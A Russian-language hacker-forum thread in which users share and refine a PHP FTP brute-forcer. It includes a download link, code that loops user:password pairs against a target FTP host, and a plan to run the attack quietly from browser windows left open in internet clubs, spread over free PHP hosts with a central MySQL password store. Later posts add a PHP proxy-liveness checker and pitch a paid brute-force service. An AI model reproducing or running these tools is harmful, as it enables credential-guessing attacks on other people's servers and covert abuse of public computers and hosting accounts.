Представьте картину. В городе сотня интренет клубов и каждый для ваc ломает чейто FTP сервер. А вы дома сидите и только смотрите логи. Скрипт лежит тут. http://rapidshare.com/files/77833985/ftpbrute.zip.html 181 кило с словарем. Брутер позволяет работать тихо, с выводом на экран и в файл. Читайте код, там есть немного пояснений как что включить. Короткое описание установки в файле readme Если кто допрокачает функционально, отпишитесь в личку буду только рад.
не в этом дело, просто у тебя не хватает фантазии Как думаешь exe уже запуститься на windows? И почему бы его не поместить в авто загрузку с ключами для брута? И как думаешь палиться будет ?
нет, незапуститься. а прежде чем писать херню, полазь еще по сайтегу с пхптуекзе и подумай о смысле жизни .......... :-D
ну народ. В интернет клубахничего ставить не нужно. Они вообще условность. Все что нужно - точка доступа к сети и любой http клиент. Даж мабилы подойдут. Обьясняю на пальцах в чем суть. Ставим скрипт гденибудь на hut2.ru и делаем базу mySQL гденибудь у буржуев на сервере без учета трафика. Идем в любой клуб запускаем с машины какойнибудь нашу страничку. Кликаем Продолжить. Сворачиваем. Идем в другой клуб там тоже открываем нашу страничку и кликаем продолжить. Так до бесконечности. Можно открыть по 5-10 страниц с одной точки. Ограничение только на мощность хостера. Пароли на подбор не повторяются. выборка паролей из таблицы ведется только если пароль еще не пробовался. В тихом режиме траффик между интернет клубом и сервером отсутствует почти полностью. Если есть централизованый сервер SQL и куча php хостингов представляете какая сеть получается? к примеру есть 20 клубов. и 10 серверов с php. В каждом клубе открываем на продолжение работы наши 10 страниц. Получаем 200 нитей. Работают только сервера хостеров. В клубе пока спецом не попытаются закрыть страницу ни о чем не поймут. А вы спокойно идете домой и смотрите через консоль в базе сработал какой пароль или нет.
Чем это лучше обычных брутов? Во первых не нужна туча проксей. Трафик отсутствует (модемщикам счастье). Вычислительные мощности компов не задействованы. Если грохнут вашу страницу, ее всегда можно заново зарегить. Кроме того в некоторых конторах и хостерах Ftp вне закона. А через скрипт фтп идет уже через хостера. В Общем кто не попадал тот не поймет. не от жизни хорошей написано. ))) А держать для себя западло.
вот подумал о смысле жизни и о чудо получилось я нашел его. PHP: <?php if ($argc != 3 ) { echo 'Usege ftp.exe 127.0.0.1:21 filename.txt'; } else { $file = file($argv[2], "r"); $count = count($file); $n = 0; while ($n < $count) { $met = explode(':', $file[$n]); $user = $met[0]; $pass = $met[1]; if (($connect = ftp_connect($argv[1])) && ($login = ftp_login($connect, $user, $pass))) { echo "Connect:".$argv[1]."\nUsername:".$user."\n"; } else {echo "Cant connect to: ".$argv[1]."\n";} $n++; } } ?> вот тебе exe http://slil.ru/25263171 тебе запускать не советую, а то еще сердечный удар будет, как это возможно такое
Дописываем в код в начале set_time_limit(0); иначе отвалится скрипт по timeout. И двух десятков перебрать не успеет. Все с простоты и начиналось. А потом: понадобился лог просмотреного, централизованое хранение результатов. более быстрый подбор и так далее до безконечности можно развивать ход мысли по улучшайзрам. К примеру добавить прокси соксовые, брутфорс по алфавитам. Трейсроут с фиктивными запросами на ДНСы чтобы каждый раз путь прокладывался немного подругому и отказы от соединения если путь совпадает с предидущими проходами (тут прийдется править сервер). А то и вовсе создать сайт через который любой желающий мог бы брутить. Заходиш. регистрируешся (а может даже и платиш чето) вводиш хост и кликаеш "запуск" и готовая сеть из 200-300 серверов делает все за тебя. ))) Мечты мечты.
Кстати возвращаясь к проксям. берем db.php из предидущего архива. Ложим в один каталог с вот этим: PHP: <?php // тут наши параметры доступа к базам данных $host = 'Сюда вписываем хост'; $user = 'Тут юзер базы данных'; $password = 'парольчег'; $database = 'Имя базы'; $persistent = false; ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Проверщик живости проксей by Master Mushi</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body bgcolor="#eeeeee"> <table width="751" border="0" cellpadding="5" > <tr> <td width="741" align="center" bgcolor="#000000"><font style="font-size: 36px; color: #FFFFFF;">Прокси живодерня</font> <font color="#eeeeff">v0.1</font></td> </tr> <tr> <td bgcolor="#EDEFF1" height="400" align="left" valign="top"> <br>Внимание входной формат в файле должен быть XXX.XXX.XXX.XXX:port<br> <? error_reporting(E_PARSE); //Каждый охотник желает знать где сидит глюк кроме WARNING MESSAGES set_time_limit(0); // Вертимся скриптом до бесконечности, пока весь список не выйдет if (!empty($_GET['infile'])) { $inf=trim($_GET['infile']); //Если нам прислали файл со списагом то.... echo '<br>Новый список проксей: <b>'.$inf.'</b>'; echo '<br><br>Обновляем базу данных.'; echo '<br>Deleting old records...'; require_once ('db.php'); // Запросим внешний файл с отработчиком БД $db = new DB($host,$user,$password,$database); if (!$db->open()) { die ($db->error());}; //Выполняем запрос на очистку старого списка //-------Если нужно только обновить список то комментим отсюда----- $sql_qwery="delete from proxies_t"; //убиваем весь список нафиг или по вкусу тут можем просто обновить до новых. if (!$db->query($sql_qwery)) { echo '<font color="#770000"><b>Failed</b></font><br>'; die ($db->error()); }; echo '<font color="#007700"><b>OK</b></font><br>' ; //-------И досюда-------------------------------------------------- echo '<br>Начинаю парсить файл...'; @ $f1=fopen($inf,"r"); $counter=0; $counteradd=0; $counterskipp=0; while (!feof($f1)) { $counter++; $s1=fgets($f1); $s1=trim($s1); $sql_qwery="select * from proxies_t where proxyurl='".$s1."'"; if (!$db->query($sql_qwery)) { echo '<font color="#770000"><b>Сдохли</b> на записи '.$counter.'</font><br>'; die ($db->error()); }; $matchcounter = $db->numrows(); if(0==$matchcounter) { $sql_qwery="insert into proxies_t (proxyurl) values ('".$s1."')"; if (!$db->query($sql_qwery)) {echo '<font color="#770000"><b>Failed</b> at record '.$counter.'</font><br>'; die ($db->error());} else $counteradd++; } else {$counterskipp++;} } echo '<font color="#007700"><b>Сделано</b></font><br> '.$counter.' записей просмотрено<br>'; echo $counteradd.' записей введено в базу<br>'; echo $counterskipp.' лагов пропущено<br>'; fclose($f1); echo'Закончили упражнение с базой данных.<br>'; } else echo '<br><b><font color="#770000">Такого файла увы нет</font></b><br>'; echo'<br>Proxycheck started.<br>'; $dbw = new DB($host,$user,$password,$database); //Этот класс у нас будет обновлять рабочие прокся if (!$dbw->open()) { die ($dbw->error());}; $sql_qwery="select * from proxies_t where note <> 'good'"; //только чистый выбор. if (!$db->query($sql_qwery)) // А это у нас будет запрос на выборку всех проксей {echo '<font color="#770000"><b>Failed</b></font><br>'; die ($db->error());}; while($row = $db->fetchassoc()) { if(0!=strcmp('good', $row['note'])) { // Мы пропускаем мимо все уже проверенные записи $proxyarr=explode(":",$row['proxyurl']); //Разделяем проксю на порт и айпи if ($socket = @fsockopen($proxyarr[0], $proxyarr[1], $errno, $errstr, 30)) { fclose($socket); //Если нужен отчет на экран то раскоменчиваем echo строчки по умолчанию система будет работать тихо как партизан // echo '<font color="007700">Working</font> proxy <b>'.$proxyarr[0].'</b> port <b>'.$proxyarr[1].'</b><br>'; //Если проkся оказался живеньким то дописываем GOOD в ноты к записи его IP $sql_str = "update proxies_t set note = 'good' where id = {$row['id']}"; if (!$dbw->query($sql_str)){ die ($dbw->error());} } //Завершили IF сработал сокет //else echo '<font color="770000">Dead</font> proxy '.$proxyarr[0].' port '.$proxyarr[1].'; //. Код ошибки <b>'.$errno.'</b>, '.$errstr.'.<br>'; } } // завершили fetchassoc $dbw->freeresult(); //Закрываем класс который дописывает номы к записям о хороших проксях $dbw->close(); echo'Проверка списка завершена.<br>'; /* Если нужно то раскоментируйте вывод в файл. echo'<br>Выводим в файл (aliveproxies.txt)<br> '; $ouf='aliveproxies.txt'; @ $tf=fopen($ouf, "w"); $sql_qwery="select * from proxies_t where note = 'good'"; if (!$db->query($sql_qwery)){echo '<font color="#770000"><b>Сдох запрос</b></font><br>'; die ($db->error());} while($row = $db->fetchassoc()) { fputs($tf,$row['proxyurl']." \n"); }; fclose($tf); */ /* А это закоменчен вывод живых проксей прямо на экран $sql_qwery="select * from proxies_t where note = 'good'"; if (!$db->query($sql_qwery)){echo '<font color="#770000"><b>Сдох запрос</b></font><br>'; die ($db->error());} echo '<br>Список рабочих прокси серверов и хостов'ж while($row = $db->fetchassoc()) { echo '<br>'; }; */ $db->freeresult(); $db->close(); echo 'Finished processing.<br><br>'; ?> <br> <form action="index.php" method="GET"> <table border="0" bgcolor="#E0E8EB" cellpadding="0" cellspacing="1" width="100%"> <tr align="center"><td width="150" bgcolor="#dfdfdf">Proxy list:</td> <td width="90%" align="left" bgcolor="#dfdfdf"><input name="infile" type="text" size="24" value="" style="width: 200px;"></td> </tr> <tr align="center"><td width="150" bgcolor="#dfdfdf"></td> <td width="90%" align="left" bgcolor="#dfdfdf"><input name="oksubmit" type="submit" maxlength="250" size="24" value=" Start Check " style="width: 200px;"></td> </tr> </table> </form> </td> </tr> </table> </body> </html> Прописываем данные на доступ к базе данных И получаем сканер живых прокси серверов. Дешево и сердито. И можно тоже гонять кучами потоков с разных удаленных мест.
Не лучше ли пропинговать этот лист namp'ом? Твой злой чекер сводится только к: И где тут многопоточность? Вот в namp действительно многопоточность... А так это очередное поделье с громким названием...
мой пример не для того чтобы фтп чекать LEE_ROY написал, что невозможно сделать из php скрипта exe и с ним чекнуть фтп. Наверно от только филосовствовать научился. ртуть Специалист (1/213) нет слов просто... думаю у кого репа хоть чуть выше 100 уже должны разбираться немного в программировании. Если тебе что то не понятно напиши в пм асю я тебе постараюсь объяснить непонятные для тебя моменты..
да при чем тут программирование? я суть процеса не поняла чуток.... и при чем тут репа? репа не показатель бля Терь уже ничего не надо... сама разобралась